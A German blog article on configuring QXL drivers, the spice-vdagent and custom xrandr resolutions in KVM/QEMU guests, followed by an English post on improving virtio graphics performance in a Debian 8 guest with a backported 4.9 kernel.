Wer die nachfolgend beschriebenen Punkte in einer konsistenten Weise nachvollziehen will, sollte bzgl. der Gastsysteme deshalb auf ein aktuelles Debian 9 (“Stretch”) (mit Gnome, KDE 5) oder aber ein Kali 2017 (mit Gnome) zurückgreifen. Diese Systeme bilden im Moment aus meiner Sicht den Sollzustand am besten ab.

Wählt man dagegen Opensuse Leap 42.2, so bitte mit Gnome. Mit debian-8-basierten Systemen, neueren Kernel-Versionen, unterschiedlichen libvirt/spice-Versionen aus Backport Repositories sowie mit dem offiziellen Plasma5-KDE5/KDE4-Mix unter Opensuse 42.1/42.2 kann es dagegen abweichende Resultate geben. “Red Hat”-Gastsysteme habe ich bislang nicht getestet.

Test-Setup

  • KVM-Gast: Debian 9 “Stretch” (mit Gnome und KDE5) / Kali2017 (Gnome). Virtuelles Grafik-Device: QXL mit maximaler ram/vram-Bestückung.
  • KVM-Host: Linux-Systeme mit Opensuse Leap 42.2 und dem dortigen KDE5/Plasma5/KDE4-Mix; darunter auch der im letzten Artikel angesprochene Laptop mit einem externen HDMI-Schirm.
  • Grafischer Spice-Client für einen virtuellen Monitor: die “grafische Spice Konsole”, die in virt-manager integriert ist.
  • Grafischer Spice-Client für mehrere virtuelle Monitore: “remote-viewer” (muss ggf. über das Paket “virt-viewer” nachinstalliert werden).

Bereitstellung QXL-Treiber im Gastsystem

Die Kapazitäten und die Performance einer Grafikkarte können nur mit einem geeigneten Treiber vollständig genutzt werden. Das ist für virtuelle Grafik-Devices wie das QXL-Device nicht anders.

Für einen KVM-Gast kann man in einem Spice-Client in jedem Fall Auflösungen bis zu 1024×768 erreichbar – auch wenn der device-spezifische QXL-Treiber im Gastystem gar nicht installiert ist. (Dies wird durch einen Fallback auf einen “standard vga”-Treiber bzw. ein VESA Framebuffer-Device ermöglicht.) Will man dagegen mit höheren Auflösungen arbeiten, so kann dies ggf. auch ohne QXL-Treiber funktonieren; allein aus Performancegründen lohnt es sich aber zu überprüfen, ob der QXL-Treiber im Gastsystem geladen ist:

root@deb11:~# lsmod | grep -iE "(video|qxl|drm)"
qxl                    69632  3
ttm                    98304  1 qxl
drm_kms_helper        155648  1 qxl
drm                   360448  6 qxl,ttm,drm_kms_helper

 
Falls das nicht der Fall sein sollte, muss man ggf. SW-Pakete nachinstallieren. Das Kernelmodul wird unter Debian über das Paket “xserver-xorg-video-qxl” bereitgestellt; unter Opensuse ist dagegen das Paket “xf86-video-qxl” erforderlich. (Zudem sollte “qemu-vgabios” installiert sein).

U.a. unter Opensuse Leap 42.2 lädt das Gastsystem den QXL-Treiber dann aber immer noch nicht zwingend automatisch. Das Modul ist in solchen Fällen also von Hand über “modprobe qxl” zu laden; den X-Server muss man dann neu starten. Ferner muss man sich darum kümmern, in welcher Weise man in seinem (Gast-) Betriebssystem dafür sorgen kann, dass Kernelmodule bereits beim Booten geladen werden:

Automatisches Laden des qxl-Kernelmoduls unter Opensuse Leap
Unter Opensuse kann man etwa “dracut -f” oder “mkinit” bemühen, nachdem man einer Datei “/etc/dracut.conf.d/01-dist.conf” einen Eintrag
force_drivers+=”qxl”
hinterlassen hat. Dabei wird das initramfs bemüht.
 
Alternativ und soweit systemd aktiv ist:
Im Verzeichnis “/etc/modules-load.d/” eine Datei “qxl.conf” anlegen und dort einfach “qxl” eintragen.
 
Als weitere Möglichkeit, die ich aber nicht getestet habe, legt man unter “/etc/X11/xorg.conf.d/50-device.conf” einen Eintrag der Form

Section "Device"
 Identifier "device0"
 Driver "qxl"
EndSection

an.

Automatisches Laden des qxl-Kernelmoduls unter Debian
Unter Debian-Systemen nimmt man dagegen einfach einen Eintrag in der Datei “etc/modules” vor. Debian 9 lädt das qxl-Modul aber eh’ schon automatisch, wenn es erkennt, dass es unter KVM/QEMU virtualisiert läuft und ein QXL-Device vorhanden ist .

OS-unabhängig über einen systemd-Service
Persönlich finde ich eigentlich ein kleines eigenes Skript, das man mit einer Service-Datei (qxl.service) versieht, am besten. Dort kann man nämlich z.B. über “lspci” vorab analysieren, ob überhaupt ein QXL Device zur Verfügung steht. Ich gehe auf diese Lösung aus Platzgründen aber nicht weiter ein.

Für alle Varianten gilt: Der Treiber sollte jedenfalls geladen sein, bevor der X- oder Wayland-Server gestartet wurde.

Bedeutung und Aktivierung des spice-vdagent

Der sog. “spice-vdagent” hat/hatte mehrere wichtige Aufgaben; ich stelle sie mal nach meinem Verständnis dar:

  • Kommunikations- und Event-Support: Der vdagent triggert und optimiert die Kommunikation zwischen dem Gast OS über den Spice-Server mit dem (remote) Spice-Client auf dem KVM-Host oder auf einem Remote-Host. U.a. werden Mouse-Positionen zwischen KVM-Gastsystem und Host abgeglichen und interpretiert – das ermöglicht u.a. ein nahtloses Verlassen von Spice-Fenstern auf dem Host.
  • Copy/Paste: Der vdagent ermöglicht beidseitiges Copy/Paste zwischen Applikationen des (Remote-) Host-Systems, auf dem das Spice-Fenster zur Ansicht des Gast-Desktops läuft, und Applikationen des KVM-Gast-Systems.
  • Multi-Monitor-Support: Er unterstützt im Zusammenspiel mit dem qxl-Treiber Gast-Systeme mit mehreren virtuellen Monitoren, deren Output in mehreren Spice-Remote-Viewer-Fenstern dargestellt werden kann. U.a. übernimmt er dabei das korrekte Mouse-Handling auf der Gast- wie der (Remote-) Host-Seite.
  • Auflösungsanpassung: Er ermöglichte eine automatische Anpassung der Auflösung des Gast-Desktops an die gewählte Größe des Spice-Client-Fensters auf dem (Remote-) Host.
    Hinweis: Das wird in aktuelleren Linux-Systemen aber wohl anders gemacht; s. hierzu den nächsten Artikel.
  • File-Transfer: Freigabe eines Zugriff des Gastsystems auf bestimmte Verzeichnisse des (Remote-) Hostes; File-Transfer mittels Drag & Drop

Man sieht: Der spice-vdagent hat etwa solche Aufgaben wie die “VMmware-Tools”, die in einem VMware-Gastsystem zu installieren sind.

Einen detaillierteren Überblick verschaffen die Web-Seiten https://www.spice-space.org/spice-user-manual.html#agent und https://www.spice-space.org/features.html
Die Platzierung des Agents im KVM-Gast und in der Kommunikationsstruktur entnimmt man der Skizze auf der Seite https://www.spice-space.org/index.html.

Die Nutzung des spice-vdagent erfordert bestimmte Voraussetzungen:

Vorbereitung der QEMU VM auf dem KVM-Host
Der Einsatz des spice-vdagents erfordert bestimmte Features der virtuellen Maschine und zugehörige Startoptionen für die QEMU VM. So muss ein bestimmtes Serial-Device vorhanden sein (s. die Skizze oben) und ein Kommunikationskanal für den Spice-Agent reserviert werden (https://wiki.archlinux.org/ index.php/ QEMU#SPICE). Man kann sich einige händische Arbeit durch das Anlegen der virtuellen Maschinen (“Domänen” im QEMU-Slang) mittels “virt-manager” ersparen:
“virt-manager” gibt die notwendigen Features automatisch vor und konfiguriert die zugehörigen QEMU-Optionen für den Start der virtuellen Maschine.

Maßnahmen im Gast-OS
Der spice-vdagent ist als systemd-Service ausgelegt und kann als solcher im KVM-Gastsystem enabled (über den nächsten Reboot hinaus) und gestartet werden.

root@guest:~#  systemctl enable spice-vdagentd.service
root@guest:~#  systemctl start spice-vdagentd.service

 
(Nachtrag 22.02.2018: Natürlich muss man den Agent erstmal installieren; hierzu nutzt man das Paket-Management des Gastsystems; unter Debian mittels “apt-get install spice-vdagent”. Um nach dem “Enablen” des zugehörigen Service z.B. Copy/Paste in beide (!) Richtungen zwischen Spiece-Konsole und der Umgebung ausführen zu können, muss man zudem die virtuelle Maschine und deren Konsole neu starten.)

Damit haben wir alles erledigt, was zur Performance-Optimierung, einer vernünftigen Mouse-Steuerung etc. notwendig war.

Einsatz von xrandr für unerkannte Auflösungsmodes im Gastsystem

Wir kommen nun wieder auf unser Laptop-Problem mit einer unerkannten Auflösung von 2560x1440_44Hz aus dem letzten Artikel zurück. Dort hatten wir bereits beschrieben, wie man den KVM-Host vorbereitet und die dort bislang unerkannte Auflösung auf einem externen HDMI1-Monitor mittels xrandr aktiviert. Wird dann die für den Host-Desktop bereitgestellte Auflösung auch auf dem Gastsystem automatisch erkannt?

Wir starten über “virt-manager” z.B. einen “Kali2017”-Gast und betrachten ihn über die grafische Spice-Konsole des virt-managers auf dem HDMI-Monitor; dabei unterbinden wir zunächst eine automatische Skalierung der Gastauflösung (darauf kommen wir später zurück):

Leider bieten dann weder ein Kali2017- noch ein Debian-Stretch-Gast die maximal mögliche Auflösung an:

Der Einsatz des QXL-Treibers und des vdagents hat in dieser Hinsicht also nichts verbessert. Dass beide SW-Komponenten samt QXL-Device im Gastsystem vorhanden sind, belegt folgender Output:

root@kali2017-1:~# lsmod | grep qxl
qxl                    69632  3
ttm                    98304  1 qxl
drm_kms_helper        155648  1 qxl
drm                   360448  6 qxl,ttm,drm_kms_helper
root@kali2017-1:~# 

root@kali2017-1:~# systemctl status spice-vdagentd.service
● spice-vdagentd.service - Agent daemon for Spice guests
   Loaded: loaded (/lib/systemd/system/spice-vdagentd.service; enabled; vendor p
   
Active: active (running) since Thu 2017-07-13 09:49:54 CEST; 5min ago
  Process: 397 ExecStart=/usr/sbin/spice-vdagentd $SPICE_VDAGENTD_EXTRA_ARGS (co
  Process: 390 ExecStartPre=/bin/rm -f /var/run/spice-vdagentd/spice-vdagent-soc
 Main PID: 427 (spice-vdagentd)
    Tasks: 1 (limit: 4915)
   CGroup: /system.slice/spice-vdagentd.service
           └─427 /usr/sbin/spice-vdagentd

root@kali2017-1:~# dmesg | grep drm
[    2.272876] [drm] Initialized
[    2.391864] [drm] Device Version 0.0
[    2.391865] [drm] Compression level 0 log level 0
[    2.391866] [drm] Currently using mode #0, list at 0x488
[    2.391866] [drm] 114686 io pages at offset 0x4000000
[    2.391867] [drm] 67108864 byte draw area at offset 0x0
[    2.391867] [drm] RAM header offset: 0x1fffe000
[    2.391868] [drm] rom modes offset 0x488 for 142 modes
[    2.391916] [drm] qxl: 64M of VRAM memory size
[    2.391917] [drm] qxl: 511M of IO pages memory ready (VRAM domain)
[    2.391917] [drm] qxl: 512M of Surface memory size
[    2.392479] [drm] main mem slot 1 [a0000000,1fffe000]
[    2.392479] [drm] surface mem slot 2 [c0000000,20000000]
[    2.392481] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
[    2.392482] [drm] No driver support for vblank timestamp query.
[    2.392739] [drm] fb mappable at 0xA0000000, size 3145728
[    2.392740] [drm] fb: depth 24, pitch 4096, width 1024, height 768
[    2.392772] fbcon: qxldrmfb (fb0) is primary device
[    2.405136] qxl 0000:00:02.0: fb0: qxldrmfb frame buffer device
[    2.418839] [drm] Initialized qxl 0.1.0 20120117 for 0000:00:02.0 on minor 0

 
Hinweis:

Ob der spice-vdagent tatsächlich seinen Job tut, verifiziert man am einfachsten dadurch, indem man Copy/Paste-Übertragungen von Text zwischen Host- und Gast-System ausprobiert.

Einsatz von xrandr

Wir greifen im Gast nun zum gleichen Trick wie auf dem Host. Ein Absetzen des Befehls xrandr zeigt, dass der relevante (virtuelle) Monitor des Gastsystems “Virtual_0” heißt:

root@kali2017-1:~# xrandr
Screen 0: minimum 320 x 200, current 1024 x 768, maximum 8192 x 8192
Virtual-0 connected primary 1024x768+0+0 0mm x 0mm
   1024x768      59.92*+
   1920x1200     59.88  
   1920x1080     59.96  
   1600x1200     59.87  
   1680x1050     59.95  
   1400x1050     59.98  
   1280x1024     59.89  
   1440x900      59.89  
   1280x960      59.94  
   1280x854      59.89  
   1280x800      59.81  
   1280x720      59.86  
   1152x768      59.78  
   800x600       59.86  
   848x480       59.66  
   720x480       59.71  
   640x480       59.38  
Virtual-1 disconnected
Virtual-2 disconnected
Virtual-3 disconnected

 
Also:

root@kali2017-1:~# cvt 2560 1440 44
# 2560x1440 43.99 Hz (CVT) hsync: 65.06 kHz; pclk: 222.75 MHz
Modeline "2560x1440_44.00"  222.75  2560 2720 2992 3424  1440 1443 1448 1479 -hsync +vsync

root@kali2017-1:~# xrandr --newmode 2560x1440_44  222.75  2560 2720 2992 3424  1440 1443 1448 1479 -hsync +vsync
root@kali2017-1:~# xrandr --addmode Virtual-0 2560x1440_44
root@kali2017-1:~# xrandr --output Virtual-0 --mode 2560x1440_44

 

Und schon ist unsere gewünschte hohe Auflösung nach ein wenig Flackern im Spice-Fenster aktiv :

root@kali2017-1:~# xrandr --current
Screen 0: minimum 320 x 200, current 2560 x 1440, maximum 8192 x 8192
Virtual-0 connected primary 2560x1440+0+0 0mm x 0mm
   1024x768      59.92 +
   1920x1200  
   59.88  
   1920x1080     59.96  
   1600x1200     59.87  
   1680x1050     59.95  
   1400x1050     59.98  
   1280x1024     59.89  
   1440x900      59.89  
   1280x960      59.94  
   1280x854      59.89  
   1280x800      59.81  
   1280x720      59.86  
   1152x768      59.78  
   800x600       59.86  
   848x480       59.66  
   720x480       59.71  
   640x480       59.38  
   2560x1440_44  43.99* 
Virtual-1 disconnected
Virtual-2 disconnected
Virtual-3 disconnected

 

Das im Bildausschnitt erkennbare farbige Hintergrundsbild außerhalb der Spice-Konsole stammt vom KDE-Desktop des Opensuse-Hosts; es wurde für den HDMI-Schirm festgelegt. Man erkennt, dass das Fenster der grafischen Spice-Konsole Scrollbalken anbietet, wenn der aktuelle Fensterrahmen zu klein für die Auflösung des Gast-Desktops ist. Wegen meines GTK-Themes werden die Scrollbalken nur angezeigt, wenn die Maus dem jeweiligen Fensterrand nahe kommt. Deshalb ist im Bild nur der vertikale Balken sichtbar.

Natürlich kann man das Spice-Fenster auf dem externen HDMI-Monitor auch im Vollbild-Modus betreiben. Am einfachsten geht das, indem man die Fenstergröße an die Gastauflösung anpassen lässt; die Spice-Konsole bietet aber unter “View” zudem einen eigenen Menüpunkt zum Wechsel in den Vollbild-Modus an:

Mein HDMI-Schirm mit 2560×1440 zeigt dann folgendes Bild:

Genau das war aber unser erstes Ziel:

Wir können die hohe Auflösung eines physikalischen Host-Monitors, auf dem ein Spice-Client-Fenster im Vollbild-Modus läuft, nun für die Darstellung des Desktops eines unter KVM/QEMU virtualisierten Gastsystems nutzen.

Anzumerken bleibt auch, dass die Spice/QXL-Performance selbst mit der relativ schwachbrüstigen Intel HD4000, die in der Laptop-CPU integriert ist, völlig annehmbar ist. Zu verdanken ist das vor allem dem Einsatz des QXL-Treibers.

Ausblick

Im nächsten Artikel

KVM/qemu mit QXL – hohe Auflösungen und virtuelle Monitore im Gastsystem definieren und nutzen – III

befassen wir uns damit, wie man die mit CVT und xrandr gefundenen bzw. definierten Modes persistent im Gast-System hinterlegt, so dass sie auch einen Boot-Vorgang überstehen. Zudem wollen wir die Auflösung auch für den Display-Manager (etwa gdm3) hinterlegen. Danach wenden wir uns der Frage zu, ob und wie eine automatische Auflösungsanpassung an den Fensterrahmen der Spice-Clients möglich ist.

KVM, video virtio, Debian 8 guest, host with Intel HD 4000 – install a 4.9 kernel on the guest for optimal 2D graphics performance !

Some time ago I wrote a post about the use of new virtio video driver for a KVM guest with a Debian 8 operative system. See:
KVM, video QXL und video virtio – Video-Auflösung des Gnome-Desktops eines Debian 8-Gastystems einstellen
The KVM host at that time was a PC with a native Nvidia graphics card. In my post I was very positive about the 2D-performance results of the spice/virtio combination for the KVM guest graphics.

Two days ago I had to perform the installation of a Debian 8 KVM guest – this time, however, the host was a laptop with an Optimus system: The internal graphics card of the i7-3632QM CPU was/is an Intel HD Graphics 4000. (The laptop has an additional Nvidia GT645 M, which can be used via Bumblebee.) Under normal conditions the Intel HD graphics (with the i915 kernel module) has sufficient power to support 2D and 3D accelerated GUIs. In my case the laptop ran on Opensuse Leap 42.2, qemu-kvm was of version 2.9, libvirt of version 3.3 (installed from the “virtualization”-repository: http://download.opensuse.org/repositories/Virtualization/openSUSE_Leap_42.2/). But this time I got a bit disappointed.

Disappointing 2D-graphics performance of the Debian8 KVM guest with kernel 3.6, with spice/QXL and spice/virtio

I experienced two problematic points with the Debian 8 guest and its original 3.6 kernel:

  • The performance with the Spice/QXL-graphics of the KVM guest was not at all convincing – especially not with GTK-applications (neither on a KDE or Gnome 3 GUI of the guest) at and above guest graphics resolutions 1400×900. I saw tearing of windows during fast movements across the spice terminal screen. Especially disappointing was the performance of Firefox ESR: Sluggish reactions of all kinds of window contents and slow reactions to scrolling of complicated web site contents – especially of running videos. But the QXL driver at least gave me the choice of many, many guest resolutions up to the maximum resolution of the host.
  • The performance was only slightly better with the new “virtio” driver. But the choice of guest resolutions was very limited with a maximum of 1280x768px.

Update to the latest kernel on the Debian 8 guest

I then read on some Internet websites that the virtio graphics driver on qemu/kvm requires a kernel later than version 4.x on the guest system, too. So why not try? The installation of newer kernels on Debian 8 is possible by adding the “backports” repository to apt’s configuration. We have to a add a line

deb http://mirror.one.com/debian/ jessie-backports main contrib non-free

to /etc/apt/sources.list on the Debian system. The we execute

apt-get update

and

apt-get install -t jessie-backports linux-image-amd64

to get the latest kernel installed. In my case this is a SMP kernel of version 4.9.18. Up to now this kernel lead to no conflicts or problems with any of the installed software on the Debian 8 guest.

Results of the updated guest with kernel 4.9

The graphical performance of the Debian guest with spice/virtio combination, however, changed dramatically to the better! Actually, the overall 2D-performance is now really convincing – even on the relatively weak Intel HD 4000. The tear free moving of window frames of all kinds of Qt- or Gtk3-applications across the spice terminal is just one point. The other is that the performance impression of e.g. Firefox ESR on the virtualized guest is almost not distinguishable from Firefox on the host’s
KDE interface. Below you see 2 FF windows on the Gnome GUI of the Debian 8 KVM guest plus a QGit window. One FF window plays a video.

And in addition I now get all resolutions I could wish for:

I love KVM! Even on laptops!